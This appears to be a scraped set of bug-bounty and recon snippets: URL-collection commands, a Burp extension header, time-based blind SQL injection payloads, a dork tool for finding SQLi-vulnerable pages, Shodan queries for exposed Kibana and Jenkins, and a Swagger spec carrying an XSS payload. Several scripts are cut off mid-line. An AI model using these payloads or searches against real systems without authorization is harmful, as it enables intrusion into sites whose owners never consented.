marz-hunter

uro -i waymore.txt -o uro

sleep 1

/root/urldedupe/urldedupe -u uro -s -qs | tee dup

sleep 1
httpx -l dup -nc -sc -ct -o duph

sleep 5

marz-hunter

from burp import IBurpExtender
from burp import IHttpListener
from burp import IProxyListener
from burp import IExtensionHelpers
from burp import IScannerListener
from burp import IExtensionStateListener
from burp import IParameter
from java.io import PrintWriter
from java.net import URLEncoder
from burp import ITab

marz-hunter

wget --mirror --convert-links --adjust-extension --page-requisites --no-parent

marz-hunter

https://www.editpad.org/tool/extract-text-from-image

marz-hunter

#!/usr/bin/env python3

import json
from urllib.parse import quote, quote_plus
import sys
import os
import argparse


parser = argparse.ArgumentParser(

marz-hunter

 AND sleep(20)#
'%2b(select*from(select(sleep(20)))a)%2b'
0'XOR(if(now()=sysdate(),sleep(20),0))XOR'Z

marz-hunter

"""

***** Auto-finder by dorks tool with Google API & Bing API *****

@author: z0rtecx
@release date: dec-2014
@version: 1.0.12122014
@poc: good dork for find web pages whit SQLi vulnerability in ID parameter, e.g. "inurl:details.php?id="
@description: This tool is for save time for you. It is gathering dorks of a txt file, and search potential web pages with SQLi vulnerability. ONLY FOR MySQL errors.
@features: 

marz-hunter

org: org_name
kibana content-length:217
org:”Amazon” ssl:”target”
ssl:”target”
html:”Dashboard Jenkins” http.component:”jenkins”
http.title:”302 Found”
http.component%3A”java”
https://www.shodan.io/host/ip#9200
https://www.shodan.io/host/ip
X-Redirect-By: WordPress ssl:”name”

marz-hunter

# !/usr/bin/env python
# sslChainDeetz.py
#
# Dependencies:
# - shodan
# - pyOpenSSL
#
# Installation:
# sudo easy_install shodan
#

marz-hunter

swagger: '2.0'
info:
  title: XSS yaml.spec
  description: |
    <math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><textarea><a title="</textarea><img src='#' onerror='alert(document.domain)'>">
paths:
  /accounts:
    get:
      responses:
        '200':